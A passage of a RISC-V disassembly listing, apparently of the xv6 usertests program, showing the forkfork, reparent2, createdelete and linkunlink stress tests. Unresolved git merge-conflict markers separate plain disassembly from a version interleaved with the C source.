1988: ec0080e7 jalr -320(ra) # 5844 <printf>
exit(1);
198c: 4505 li a0,1
198e: 00004097 auipc ra,0x4
1992: b3e080e7 jalr -1218(ra) # 54cc <exit>
exit(0);
1996: 00004097 auipc ra,0x4
199a: b36080e7 jalr -1226(ra) # 54cc <exit>
printf("%s: fork failed\n", s);
199e: 85ca mv a1,s2
19a0: 00005517 auipc a0,0x5
19a4: b9050513 addi a0,a0,-1136 # 6530 <l_free+0xaca>
19a8: 00004097 auipc ra,0x4
19ac: e9c080e7 jalr -356(ra) # 5844 <printf>
exit(1);
19b0: 4505 li a0,1
19b2: 00004097 auipc ra,0x4
19b6: b1a080e7 jalr -1254(ra) # 54cc <exit>
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
19ba: 00004097 auipc ra,0x4
19be: b12080e7 jalr -1262(ra) # 54cc <exit>
00000000000019c2 <forkfork>:
<<<<<<< HEAD
=======
void forkfork(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
19c2: 7179 addi sp,sp,-48
19c4: f406 sd ra,40(sp)
19c6: f022 sd s0,32(sp)
19c8: ec26 sd s1,24(sp)
19ca: 1800 addi s0,sp,48
19cc: 84aa mv s1,a0
<<<<<<< HEAD
19ce: 00004097 auipc ra,0x4
19d2: af6080e7 jalr -1290(ra) # 54c4 <fork>
19d6: 04054163 bltz a0,1a18 <forkfork+0x56>
19da: cd29 beqz a0,1a34 <forkfork+0x72>
19dc: 00004097 auipc ra,0x4
19e0: ae8080e7 jalr -1304(ra) # 54c4 <fork>
19e4: 02054a63 bltz a0,1a18 <forkfork+0x56>
19e8: c531 beqz a0,1a34 <forkfork+0x72>
19ea: fdc40513 addi a0,s0,-36
19ee: 00004097 auipc ra,0x4
19f2: ae6080e7 jalr -1306(ra) # 54d4 <wait>
19f6: fdc42783 lw a5,-36(s0)
19fa: ebbd bnez a5,1a70 <forkfork+0xae>
19fc: fdc40513 addi a0,s0,-36
1a00: 00004097 auipc ra,0x4
1a04: ad4080e7 jalr -1324(ra) # 54d4 <wait>
1a08: fdc42783 lw a5,-36(s0)
1a0c: e3b5 bnez a5,1a70 <forkfork+0xae>
=======
int pid = fork();
19ce: 00004097 auipc ra,0x4
19d2: af6080e7 jalr -1290(ra) # 54c4 <fork>
if (pid < 0) {
19d6: 04054163 bltz a0,1a18 <forkfork+0x56>
if (pid == 0) {
19da: cd29 beqz a0,1a34 <forkfork+0x72>
int pid = fork();
19dc: 00004097 auipc ra,0x4
19e0: ae8080e7 jalr -1304(ra) # 54c4 <fork>
if (pid < 0) {
19e4: 02054a63 bltz a0,1a18 <forkfork+0x56>
if (pid == 0) {
19e8: c531 beqz a0,1a34 <forkfork+0x72>
wait(&xstatus);
19ea: fdc40513 addi a0,s0,-36
19ee: 00004097 auipc ra,0x4
19f2: ae6080e7 jalr -1306(ra) # 54d4 <wait>
if (xstatus != 0) {
19f6: fdc42783 lw a5,-36(s0)
19fa: ebbd bnez a5,1a70 <forkfork+0xae>
wait(&xstatus);
19fc: fdc40513 addi a0,s0,-36
1a00: 00004097 auipc ra,0x4
1a04: ad4080e7 jalr -1324(ra) # 54d4 <wait>
if (xstatus != 0) {
1a08: fdc42783 lw a5,-36(s0)
1a0c: e3b5 bnez a5,1a70 <forkfork+0xae>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1a0e: 70a2 ld ra,40(sp)
1a10: 7402 ld s0,32(sp)
1a12: 64e2 ld s1,24(sp)
1a14: 6145 addi sp,sp,48
1a16: 8082 ret
<<<<<<< HEAD
1a18: 85a6 mv a1,s1
1a1a: 00005517 auipc a0,0x5
1a1e: cd650513 addi a0,a0,-810 # 66f0 <l_free+0xc88>
1a22: 00004097 auipc ra,0x4
1a26: e24080e7 jalr -476(ra) # 5846 <printf>
1a2a: 4505 li a0,1
1a2c: 00004097 auipc ra,0x4
1a30: aa0080e7 jalr -1376(ra) # 54cc <exit>
1a34: 0c800493 li s1,200
1a38: 00004097 auipc ra,0x4
1a3c: a8c080e7 jalr -1396(ra) # 54c4 <fork>
1a40: 00054f63 bltz a0,1a5e <forkfork+0x9c>
1a44: c115 beqz a0,1a68 <forkfork+0xa6>
1a46: 4501 li a0,0
1a48: 00004097 auipc ra,0x4
1a4c: a8c080e7 jalr -1396(ra) # 54d4 <wait>
1a50: 34fd addiw s1,s1,-1
1a52: f0fd bnez s1,1a38 <forkfork+0x76>
1a54: 4501 li a0,0
1a56: 00004097 auipc ra,0x4
1a5a: a76080e7 jalr -1418(ra) # 54cc <exit>
1a5e: 4505 li a0,1
1a60: 00004097 auipc ra,0x4
1a64: a6c080e7 jalr -1428(ra) # 54cc <exit>
1a68: 00004097 auipc ra,0x4
1a6c: a64080e7 jalr -1436(ra) # 54cc <exit>
1a70: 85a6 mv a1,s1
1a72: 00005517 auipc a0,0x5
1a76: c8e50513 addi a0,a0,-882 # 6700 <l_free+0xc98>
1a7a: 00004097 auipc ra,0x4
1a7e: dcc080e7 jalr -564(ra) # 5846 <printf>
=======
printf("%s: fork failed", s);
1a18: 85a6 mv a1,s1
1a1a: 00005517 auipc a0,0x5
1a1e: cd650513 addi a0,a0,-810 # 66f0 <l_free+0xc8a>
1a22: 00004097 auipc ra,0x4
1a26: e22080e7 jalr -478(ra) # 5844 <printf>
exit(1);
1a2a: 4505 li a0,1
1a2c: 00004097 auipc ra,0x4
1a30: aa0080e7 jalr -1376(ra) # 54cc <exit>
void forkfork(char *s) {
1a34: 0c800493 li s1,200
int pid1 = fork();
1a38: 00004097 auipc ra,0x4
1a3c: a8c080e7 jalr -1396(ra) # 54c4 <fork>
if (pid1 < 0) {
1a40: 00054f63 bltz a0,1a5e <forkfork+0x9c>
if (pid1 == 0) {
1a44: c115 beqz a0,1a68 <forkfork+0xa6>
wait(0);
1a46: 4501 li a0,0
1a48: 00004097 auipc ra,0x4
1a4c: a8c080e7 jalr -1396(ra) # 54d4 <wait>
for (int j = 0; j < 200; j++) {
1a50: 34fd addiw s1,s1,-1
1a52: f0fd bnez s1,1a38 <forkfork+0x76>
exit(0);
1a54: 4501 li a0,0
1a56: 00004097 auipc ra,0x4
1a5a: a76080e7 jalr -1418(ra) # 54cc <exit>
exit(1);
1a5e: 4505 li a0,1
1a60: 00004097 auipc ra,0x4
1a64: a6c080e7 jalr -1428(ra) # 54cc <exit>
exit(0);
1a68: 00004097 auipc ra,0x4
1a6c: a64080e7 jalr -1436(ra) # 54cc <exit>
printf("%s: fork in child failed", s);
1a70: 85a6 mv a1,s1
1a72: 00005517 auipc a0,0x5
1a76: c8e50513 addi a0,a0,-882 # 6700 <l_free+0xc9a>
1a7a: 00004097 auipc ra,0x4
1a7e: dca080e7 jalr -566(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1a82: 4505 li a0,1
1a84: 00004097 auipc ra,0x4
1a88: a48080e7 jalr -1464(ra) # 54cc <exit>
0000000000001a8c <reparent2>:
<<<<<<< HEAD
=======
void reparent2(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1a8c: 1101 addi sp,sp,-32
1a8e: ec06 sd ra,24(sp)
1a90: e822 sd s0,16(sp)
1a92: e426 sd s1,8(sp)
1a94: 1000 addi s0,sp,32
1a96: 32000493 li s1,800
<<<<<<< HEAD
1a9a: 00004097 auipc ra,0x4
1a9e: a2a080e7 jalr -1494(ra) # 54c4 <fork>
1aa2: 00054f63 bltz a0,1ac0 <reparent2+0x34>
1aa6: c915 beqz a0,1ada <reparent2+0x4e>
1aa8: 4501 li a0,0
1aaa: 00004097 auipc ra,0x4
1aae: a2a080e7 jalr -1494(ra) # 54d4 <wait>
1ab2: 34fd addiw s1,s1,-1
1ab4: f0fd bnez s1,1a9a <reparent2+0xe>
1ab6: 4501 li a0,0
1ab8: 00004097 auipc ra,0x4
1abc: a14080e7 jalr -1516(ra) # 54cc <exit>
1ac0: 00005517 auipc a0,0x5
1ac4: e6050513 addi a0,a0,-416 # 6920 <l_free+0xeb8>
1ac8: 00004097 auipc ra,0x4
1acc: d7e080e7 jalr -642(ra) # 5846 <printf>
1ad0: 4505 li a0,1
1ad2: 00004097 auipc ra,0x4
1ad6: 9fa080e7 jalr -1542(ra) # 54cc <exit>
1ada: 00004097 auipc ra,0x4
1ade: 9ea080e7 jalr -1558(ra) # 54c4 <fork>
1ae2: 00004097 auipc ra,0x4
1ae6: 9e2080e7 jalr -1566(ra) # 54c4 <fork>
=======
int pid1 = fork();
1a9a: 00004097 auipc ra,0x4
1a9e: a2a080e7 jalr -1494(ra) # 54c4 <fork>
if (pid1 < 0) {
1aa2: 00054f63 bltz a0,1ac0 <reparent2+0x34>
if (pid1 == 0) {
1aa6: c915 beqz a0,1ada <reparent2+0x4e>
wait(0);
1aa8: 4501 li a0,0
1aaa: 00004097 auipc ra,0x4
1aae: a2a080e7 jalr -1494(ra) # 54d4 <wait>
for (int i = 0; i < 800; i++) {
1ab2: 34fd addiw s1,s1,-1
1ab4: f0fd bnez s1,1a9a <reparent2+0xe>
exit(0);
1ab6: 4501 li a0,0
1ab8: 00004097 auipc ra,0x4
1abc: a14080e7 jalr -1516(ra) # 54cc <exit>
printf("fork failed\n");
1ac0: 00005517 auipc a0,0x5
1ac4: e6050513 addi a0,a0,-416 # 6920 <l_free+0xeba>
1ac8: 00004097 auipc ra,0x4
1acc: d7c080e7 jalr -644(ra) # 5844 <printf>
exit(1);
1ad0: 4505 li a0,1
1ad2: 00004097 auipc ra,0x4
1ad6: 9fa080e7 jalr -1542(ra) # 54cc <exit>
fork();
1ada: 00004097 auipc ra,0x4
1ade: 9ea080e7 jalr -1558(ra) # 54c4 <fork>
fork();
1ae2: 00004097 auipc ra,0x4
1ae6: 9e2080e7 jalr -1566(ra) # 54c4 <fork>
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1aea: 4501 li a0,0
1aec: 00004097 auipc ra,0x4
1af0: 9e0080e7 jalr -1568(ra) # 54cc <exit>
0000000000001af4 <createdelete>:
<<<<<<< HEAD
=======
void createdelete(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1af4: 7175 addi sp,sp,-144
1af6: e506 sd ra,136(sp)
1af8: e122 sd s0,128(sp)
1afa: fca6 sd s1,120(sp)
1afc: f8ca sd s2,112(sp)
1afe: f4ce sd s3,104(sp)
1b00: f0d2 sd s4,96(sp)
1b02: ecd6 sd s5,88(sp)
1b04: e8da sd s6,80(sp)
1b06: e4de sd s7,72(sp)
1b08: e0e2 sd s8,64(sp)
1b0a: fc66 sd s9,56(sp)
1b0c: 0900 addi s0,sp,144
1b0e: 8caa mv s9,a0
<<<<<<< HEAD
1b10: 4901 li s2,0
1b12: 4991 li s3,4
1b14: 00004097 auipc ra,0x4
1b18: 9b0080e7 jalr -1616(ra) # 54c4 <fork>
1b1c: 84aa mv s1,a0
1b1e: 02054f63 bltz a0,1b5c <createdelete+0x68>
1b22: c939 beqz a0,1b78 <createdelete+0x84>
1b24: 2905 addiw s2,s2,1
1b26: ff3917e3 bne s2,s3,1b14 <createdelete+0x20>
1b2a: 4491 li s1,4
1b2c: f7c40513 addi a0,s0,-132
1b30: 00004097 auipc ra,0x4
1b34: 9a4080e7 jalr -1628(ra) # 54d4 <wait>
1b38: f7c42903 lw s2,-132(s0)
1b3c: 0e091263 bnez s2,1c20 <createdelete+0x12c>
1b40: 34fd addiw s1,s1,-1
1b42: f4ed bnez s1,1b2c <createdelete+0x38>
=======
for (pi = 0; pi < NCHILD; pi++) {
1b10: 4901 li s2,0
1b12: 4991 li s3,4
pid = fork();
1b14: 00004097 auipc ra,0x4
1b18: 9b0080e7 jalr -1616(ra) # 54c4 <fork>
1b1c: 84aa mv s1,a0
if (pid < 0) {
1b1e: 02054f63 bltz a0,1b5c <createdelete+0x68>
if (pid == 0) {
1b22: c939 beqz a0,1b78 <createdelete+0x84>
for (pi = 0; pi < NCHILD; pi++) {
1b24: 2905 addiw s2,s2,1
1b26: ff3917e3 bne s2,s3,1b14 <createdelete+0x20>
1b2a: 4491 li s1,4
wait(&xstatus);
1b2c: f7c40513 addi a0,s0,-132
1b30: 00004097 auipc ra,0x4
1b34: 9a4080e7 jalr -1628(ra) # 54d4 <wait>
if (xstatus != 0)
1b38: f7c42903 lw s2,-132(s0)
1b3c: 0e091263 bnez s2,1c20 <createdelete+0x12c>
for (pi = 0; pi < NCHILD; pi++) {
1b40: 34fd addiw s1,s1,-1
1b42: f4ed bnez s1,1b2c <createdelete+0x38>
name[0] = name[1] = name[2] = 0;
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1b44: f8040123 sb zero,-126(s0)
1b48: 03000993 li s3,48
1b4c: 5a7d li s4,-1
1b4e: 07000c13 li s8,112
<<<<<<< HEAD
1b52: 4b21 li s6,8
1b54: 4ba5 li s7,9
1b56: 07400a93 li s5,116
1b5a: a29d j 1cc0 <createdelete+0x1cc>
1b5c: 85e6 mv a1,s9
1b5e: 00005517 auipc a0,0x5
1b62: dc250513 addi a0,a0,-574 # 6920 <l_free+0xeb8>
1b66: 00004097 auipc ra,0x4
1b6a: ce0080e7 jalr -800(ra) # 5846 <printf>
1b6e: 4505 li a0,1
1b70: 00004097 auipc ra,0x4
1b74: 95c080e7 jalr -1700(ra) # 54cc <exit>
1b78: 0709091b addiw s2,s2,112
1b7c: f9240023 sb s2,-128(s0)
1b80: f8040123 sb zero,-126(s0)
1b84: 4951 li s2,20
1b86: a015 j 1baa <createdelete+0xb6>
1b88: 85e6 mv a1,s9
1b8a: 00005517 auipc a0,0x5
1b8e: a3e50513 addi a0,a0,-1474 # 65c8 <l_free+0xb60>
1b92: 00004097 auipc ra,0x4
1b96: cb4080e7 jalr -844(ra) # 5846 <printf>
1b9a: 4505 li a0,1
1b9c: 00004097 auipc ra,0x4
1ba0: 930080e7 jalr -1744(ra) # 54cc <exit>
1ba4: 2485 addiw s1,s1,1
1ba6: 07248863 beq s1,s2,1c16 <createdelete+0x122>
1baa: 0304879b addiw a5,s1,48
1bae: f8f400a3 sb a5,-127(s0)
=======
} else if ((i >= 1 && i < N / 2) && fd >= 0) {
1b52: 4b21 li s6,8
if ((i == 0 || i >= N / 2) && fd < 0) {
1b54: 4ba5 li s7,9
for (pi = 0; pi < NCHILD; pi++) {
1b56: 07400a93 li s5,116
1b5a: a29d j 1cc0 <createdelete+0x1cc>
printf("fork failed\n", s);
1b5c: 85e6 mv a1,s9
1b5e: 00005517 auipc a0,0x5
1b62: dc250513 addi a0,a0,-574 # 6920 <l_free+0xeba>
1b66: 00004097 auipc ra,0x4
1b6a: cde080e7 jalr -802(ra) # 5844 <printf>
exit(1);
1b6e: 4505 li a0,1
1b70: 00004097 auipc ra,0x4
1b74: 95c080e7 jalr -1700(ra) # 54cc <exit>
name[0] = 'p' + pi;
1b78: 0709091b addiw s2,s2,112
1b7c: f9240023 sb s2,-128(s0)
name[2] = '\0';
1b80: f8040123 sb zero,-126(s0)
for (i = 0; i < N; i++) {
1b84: 4951 li s2,20
1b86: a015 j 1baa <createdelete+0xb6>
printf("%s: create failed\n", s);
1b88: 85e6 mv a1,s9
1b8a: 00005517 auipc a0,0x5
1b8e: a3e50513 addi a0,a0,-1474 # 65c8 <l_free+0xb62>
1b92: 00004097 auipc ra,0x4
1b96: cb2080e7 jalr -846(ra) # 5844 <printf>
exit(1);
1b9a: 4505 li a0,1
1b9c: 00004097 auipc ra,0x4
1ba0: 930080e7 jalr -1744(ra) # 54cc <exit>
for (i = 0; i < N; i++) {
1ba4: 2485 addiw s1,s1,1
1ba6: 07248863 beq s1,s2,1c16 <createdelete+0x122>
name[1] = '0' + i;
1baa: 0304879b addiw a5,s1,48
1bae: f8f400a3 sb a5,-127(s0)
fd = open(name, O_CREATE | O_RDWR);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1bb2: 20200593 li a1,514
1bb6: f8040513 addi a0,s0,-128
1bba: 00004097 auipc ra,0x4
1bbe: 952080e7 jalr -1710(ra) # 550c <open>
<<<<<<< HEAD
1bc2: fc0543e3 bltz a0,1b88 <createdelete+0x94>
1bc6: 00004097 auipc ra,0x4
1bca: 92e080e7 jalr -1746(ra) # 54f4 <close>
1bce: fc905be3 blez s1,1ba4 <createdelete+0xb0>
1bd2: 0014f793 andi a5,s1,1
1bd6: f7f9 bnez a5,1ba4 <createdelete+0xb0>
=======
if (fd < 0) {
1bc2: fc0543e3 bltz a0,1b88 <createdelete+0x94>
close(fd);
1bc6: 00004097 auipc ra,0x4
1bca: 92e080e7 jalr -1746(ra) # 54f4 <close>
if (i > 0 && (i % 2) == 0) {
1bce: fc905be3 blez s1,1ba4 <createdelete+0xb0>
1bd2: 0014f793 andi a5,s1,1
1bd6: f7f9 bnez a5,1ba4 <createdelete+0xb0>
name[1] = '0' + (i / 2);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1bd8: 01f4d79b srliw a5,s1,0x1f
1bdc: 9fa5 addw a5,a5,s1
1bde: 4017d79b sraiw a5,a5,0x1
1be2: 0307879b addiw a5,a5,48
1be6: f8f400a3 sb a5,-127(s0)
<<<<<<< HEAD
=======
if (unlink(name) < 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1bea: f8040513 addi a0,s0,-128
1bee: 00004097 auipc ra,0x4
1bf2: 92e080e7 jalr -1746(ra) # 551c <unlink>
1bf6: fa0557e3 bgez a0,1ba4 <createdelete+0xb0>
<<<<<<< HEAD
1bfa: 85e6 mv a1,s9
1bfc: 00005517 auipc a0,0x5
1c00: b2450513 addi a0,a0,-1244 # 6720 <l_free+0xcb8>
1c04: 00004097 auipc ra,0x4
1c08: c42080e7 jalr -958(ra) # 5846 <printf>
1c0c: 4505 li a0,1
1c0e: 00004097 auipc ra,0x4
1c12: 8be080e7 jalr -1858(ra) # 54cc <exit>
1c16: 4501 li a0,0
1c18: 00004097 auipc ra,0x4
1c1c: 8b4080e7 jalr -1868(ra) # 54cc <exit>
1c20: 4505 li a0,1
1c22: 00004097 auipc ra,0x4
1c26: 8aa080e7 jalr -1878(ra) # 54cc <exit>
1c2a: f8040613 addi a2,s0,-128
1c2e: 85e6 mv a1,s9
1c30: 00005517 auipc a0,0x5
1c34: b0850513 addi a0,a0,-1272 # 6738 <l_free+0xcd0>
1c38: 00004097 auipc ra,0x4
1c3c: c0e080e7 jalr -1010(ra) # 5846 <printf>
1c40: 4505 li a0,1
1c42: 00004097 auipc ra,0x4
1c46: 88a080e7 jalr -1910(ra) # 54cc <exit>
1c4a: 054b7163 bgeu s6,s4,1c8c <createdelete+0x198>
1c4e: 02055a63 bgez a0,1c82 <createdelete+0x18e>
1c52: 2485 addiw s1,s1,1
1c54: 0ff4f493 zext.b s1,s1
1c58: 05548c63 beq s1,s5,1cb0 <createdelete+0x1bc>
1c5c: f8940023 sb s1,-128(s0)
1c60: f93400a3 sb s3,-127(s0)
=======
printf("%s: unlink failed\n", s);
1bfa: 85e6 mv a1,s9
1bfc: 00005517 auipc a0,0x5
1c00: b2450513 addi a0,a0,-1244 # 6720 <l_free+0xcba>
1c04: 00004097 auipc ra,0x4
1c08: c40080e7 jalr -960(ra) # 5844 <printf>
exit(1);
1c0c: 4505 li a0,1
1c0e: 00004097 auipc ra,0x4
1c12: 8be080e7 jalr -1858(ra) # 54cc <exit>
exit(0);
1c16: 4501 li a0,0
1c18: 00004097 auipc ra,0x4
1c1c: 8b4080e7 jalr -1868(ra) # 54cc <exit>
exit(1);
1c20: 4505 li a0,1
1c22: 00004097 auipc ra,0x4
1c26: 8aa080e7 jalr -1878(ra) # 54cc <exit>
printf("%s: oops createdelete %s didn't exist\n", s, name);
1c2a: f8040613 addi a2,s0,-128
1c2e: 85e6 mv a1,s9
1c30: 00005517 auipc a0,0x5
1c34: b0850513 addi a0,a0,-1272 # 6738 <l_free+0xcd2>
1c38: 00004097 auipc ra,0x4
1c3c: c0c080e7 jalr -1012(ra) # 5844 <printf>
exit(1);
1c40: 4505 li a0,1
1c42: 00004097 auipc ra,0x4
1c46: 88a080e7 jalr -1910(ra) # 54cc <exit>
} else if ((i >= 1 && i < N / 2) && fd >= 0) {
1c4a: 054b7163 bgeu s6,s4,1c8c <createdelete+0x198>
if (fd >= 0)
1c4e: 02055a63 bgez a0,1c82 <createdelete+0x18e>
for (pi = 0; pi < NCHILD; pi++) {
1c52: 2485 addiw s1,s1,1
1c54: 0ff4f493 andi s1,s1,255
1c58: 05548c63 beq s1,s5,1cb0 <createdelete+0x1bc>
name[0] = 'p' + pi;
1c5c: f8940023 sb s1,-128(s0)
name[1] = '0' + i;
1c60: f93400a3 sb s3,-127(s0)
fd = open(name, 0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1c64: 4581 li a1,0
1c66: f8040513 addi a0,s0,-128
1c6a: 00004097 auipc ra,0x4
1c6e: 8a2080e7 jalr -1886(ra) # 550c <open>
<<<<<<< HEAD
1c72: 00090463 beqz s2,1c7a <createdelete+0x186>
1c76: fd2bdae3 bge s7,s2,1c4a <createdelete+0x156>
1c7a: fa0548e3 bltz a0,1c2a <createdelete+0x136>
1c7e: 014b7963 bgeu s6,s4,1c90 <createdelete+0x19c>
1c82: 00004097 auipc ra,0x4
1c86: 872080e7 jalr -1934(ra) # 54f4 <close>
1c8a: b7e1 j 1c52 <createdelete+0x15e>
1c8c: fc0543e3 bltz a0,1c52 <createdelete+0x15e>
1c90: f8040613 addi a2,s0,-128
1c94: 85e6 mv a1,s9
1c96: 00005517 auipc a0,0x5
1c9a: aca50513 addi a0,a0,-1334 # 6760 <l_free+0xcf8>
1c9e: 00004097 auipc ra,0x4
1ca2: ba8080e7 jalr -1112(ra) # 5846 <printf>
1ca6: 4505 li a0,1
1ca8: 00004097 auipc ra,0x4
1cac: 824080e7 jalr -2012(ra) # 54cc <exit>
1cb0: 2905 addiw s2,s2,1
1cb2: 2a05 addiw s4,s4,1
1cb4: 2985 addiw s3,s3,1
1cb6: 0ff9f993 zext.b s3,s3
1cba: 47d1 li a5,20
1cbc: 02f90a63 beq s2,a5,1cf0 <createdelete+0x1fc>
1cc0: 84e2 mv s1,s8
1cc2: bf69 j 1c5c <createdelete+0x168>
1cc4: 2905 addiw s2,s2,1
1cc6: 0ff97913 zext.b s2,s2
1cca: 2985 addiw s3,s3,1
1ccc: 0ff9f993 zext.b s3,s3
1cd0: 03490863 beq s2,s4,1d00 <createdelete+0x20c>
1cd4: 84d6 mv s1,s5
1cd6: f9240023 sb s2,-128(s0)
1cda: f93400a3 sb s3,-127(s0)
1cde: f8040513 addi a0,s0,-128
1ce2: 00004097 auipc ra,0x4
1ce6: 83a080e7 jalr -1990(ra) # 551c <unlink>
=======
if ((i == 0 || i >= N / 2) && fd < 0) {
1c72: 00090463 beqz s2,1c7a <createdelete+0x186>
1c76: fd2bdae3 bge s7,s2,1c4a <createdelete+0x156>
1c7a: fa0548e3 bltz a0,1c2a <createdelete+0x136>
} else if ((i >= 1 && i < N / 2) && fd >= 0) {
1c7e: 014b7963 bgeu s6,s4,1c90 <createdelete+0x19c>
close(fd);
1c82: 00004097 auipc ra,0x4
1c86: 872080e7 jalr -1934(ra) # 54f4 <close>
1c8a: b7e1 j 1c52 <createdelete+0x15e>
} else if ((i >= 1 && i < N / 2) && fd >= 0) {
1c8c: fc0543e3 bltz a0,1c52 <createdelete+0x15e>
printf("%s: oops createdelete %s did exist\n", s, name);
1c90: f8040613 addi a2,s0,-128
1c94: 85e6 mv a1,s9
1c96: 00005517 auipc a0,0x5
1c9a: aca50513 addi a0,a0,-1334 # 6760 <l_free+0xcfa>
1c9e: 00004097 auipc ra,0x4
1ca2: ba6080e7 jalr -1114(ra) # 5844 <printf>
exit(1);
1ca6: 4505 li a0,1
1ca8: 00004097 auipc ra,0x4
1cac: 824080e7 jalr -2012(ra) # 54cc <exit>
for (i = 0; i < N; i++) {
1cb0: 2905 addiw s2,s2,1
1cb2: 2a05 addiw s4,s4,1
1cb4: 2985 addiw s3,s3,1
1cb6: 0ff9f993 andi s3,s3,255
1cba: 47d1 li a5,20
1cbc: 02f90a63 beq s2,a5,1cf0 <createdelete+0x1fc>
for (pi = 0; pi < NCHILD; pi++) {
1cc0: 84e2 mv s1,s8
1cc2: bf69 j 1c5c <createdelete+0x168>
for (i = 0; i < N; i++) {
1cc4: 2905 addiw s2,s2,1
1cc6: 0ff97913 andi s2,s2,255
1cca: 2985 addiw s3,s3,1
1ccc: 0ff9f993 andi s3,s3,255
1cd0: 03490863 beq s2,s4,1d00 <createdelete+0x20c>
name[0] = name[1] = name[2] = 0;
1cd4: 84d6 mv s1,s5
name[0] = 'p' + i;
1cd6: f9240023 sb s2,-128(s0)
name[1] = '0' + i;
1cda: f93400a3 sb s3,-127(s0)
unlink(name);
1cde: f8040513 addi a0,s0,-128
1ce2: 00004097 auipc ra,0x4
1ce6: 83a080e7 jalr -1990(ra) # 551c <unlink>
for (pi = 0; pi < NCHILD; pi++) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1cea: 34fd addiw s1,s1,-1
1cec: f4ed bnez s1,1cd6 <createdelete+0x1e2>
1cee: bfd9 j 1cc4 <createdelete+0x1d0>
1cf0: 03000993 li s3,48
1cf4: 07000913 li s2,112
<<<<<<< HEAD
1cf8: 4a91 li s5,4
1cfa: 08400a13 li s4,132
1cfe: bfd9 j 1cd4 <createdelete+0x1e0>
=======
name[0] = name[1] = name[2] = 0;
1cf8: 4a91 li s5,4
for (i = 0; i < N; i++) {
1cfa: 08400a13 li s4,132
1cfe: bfd9 j 1cd4 <createdelete+0x1e0>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1d00: 60aa ld ra,136(sp)
1d02: 640a ld s0,128(sp)
1d04: 74e6 ld s1,120(sp)
1d06: 7946 ld s2,112(sp)
1d08: 79a6 ld s3,104(sp)
1d0a: 7a06 ld s4,96(sp)
1d0c: 6ae6 ld s5,88(sp)
1d0e: 6b46 ld s6,80(sp)
1d10: 6ba6 ld s7,72(sp)
1d12: 6c06 ld s8,64(sp)
1d14: 7ce2 ld s9,56(sp)
1d16: 6149 addi sp,sp,144
1d18: 8082 ret
0000000000001d1a <linkunlink>:
<<<<<<< HEAD
=======
void linkunlink(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1d1a: 711d addi sp,sp,-96
1d1c: ec86 sd ra,88(sp)
1d1e: e8a2 sd s0,80(sp)
1d20: e4a6 sd s1,72(sp)
1d22: e0ca sd s2,64(sp)
1d24: fc4e sd s3,56(sp)
1d26: f852 sd s4,48(sp)
1d28: f456 sd s5,40(sp)
1d2a: f05a sd s6,32(sp)
1d2c: ec5e sd s7,24(sp)
1d2e: e862 sd s8,16(sp)
1d30: e466 sd s9,8(sp)
1d32: 1080 addi s0,sp,96
1d34: 84aa mv s1,a0
<<<<<<< HEAD
1d36: 00004517 auipc a0,0x4
1d3a: 0f250513 addi a0,a0,242 # 5e28 <l_free+0x3c0>
1d3e: 00003097 auipc ra,0x3
1d42: 7de080e7 jalr 2014(ra) # 551c <unlink>
1d46: 00003097 auipc ra,0x3
1d4a: 77e080e7 jalr 1918(ra) # 54c4 <fork>
1d4e: 02054b63 bltz a0,1d84 <linkunlink+0x6a>
1d52: 8c2a mv s8,a0
=======
unlink("x");
1d36: 00004517 auipc a0,0x4
1d3a: 0f250513 addi a0,a0,242 # 5e28 <l_free+0x3c2>
1d3e: 00003097 auipc ra,0x3
1d42: 7de080e7 jalr 2014(ra) # 551c <unlink>
pid = fork();
1d46: 00003097 auipc ra,0x3
1d4a: 77e080e7 jalr 1918(ra) # 54c4 <fork>
if (pid < 0) {
1d4e: 02054b63 bltz a0,1d84 <linkunlink+0x6a>
1d52: 8c2a mv s8,a0
unsigned int x = (pid ? 1 : 97);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1d54: 4c85 li s9,1
1d56: e119 bnez a0,1d5c <linkunlink+0x42>
1d58: 06100c93 li s9,97
1d5c: 06400493 li s1,100
<<<<<<< HEAD
=======
x = x * 1103515245 + 12345;
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1d60: 41c659b7 lui s3,0x41c65
1d64: e6d9899b addiw s3,s3,-403
1d68: 690d lui s2,0x3
1d6a: 0399091b addiw s2,s2,57
<<<<<<< HEAD
1d6e: 4a0d li s4,3
1d70: 4b05 li s6,1
1d72: 00004a97 auipc s5,0x4
1d76: 0b6a8a93 addi s5,s5,182 # 5e28 <l_free+0x3c0>
1d7a: 00005b97 auipc s7,0x5
1d7e: a0eb8b93 addi s7,s7,-1522 # 6788 <l_free+0xd20>
1d82: a825 j 1dba <linkunlink+0xa0>
1d84: 85a6 mv a1,s1
1d86: 00004517 auipc a0,0x4
1d8a: 7aa50513 addi a0,a0,1962 # 6530 <l_free+0xac8>
1d8e: 00004097 auipc ra,0x4
1d92: ab8080e7 jalr -1352(ra) # 5846 <printf>
1d96: 4505 li a0,1
1d98: 00003097 auipc ra,0x3
1d9c: 734080e7 jalr 1844(ra) # 54cc <exit>
=======
if ((x % 3) == 0) {
1d6e: 4a0d li s4,3
} else if ((x % 3) == 1) {
1d70: 4b05 li s6,1
unlink("x");
1d72: 00004a97 auipc s5,0x4
1d76: 0b6a8a93 addi s5,s5,182 # 5e28 <l_free+0x3c2>
link("cat", "x");
1d7a: 00005b97 auipc s7,0x5
1d7e: a0eb8b93 addi s7,s7,-1522 # 6788 <l_free+0xd22>
1d82: a825 j 1dba <linkunlink+0xa0>
printf("%s: fork failed\n", s);
1d84: 85a6 mv a1,s1
1d86: 00004517 auipc a0,0x4
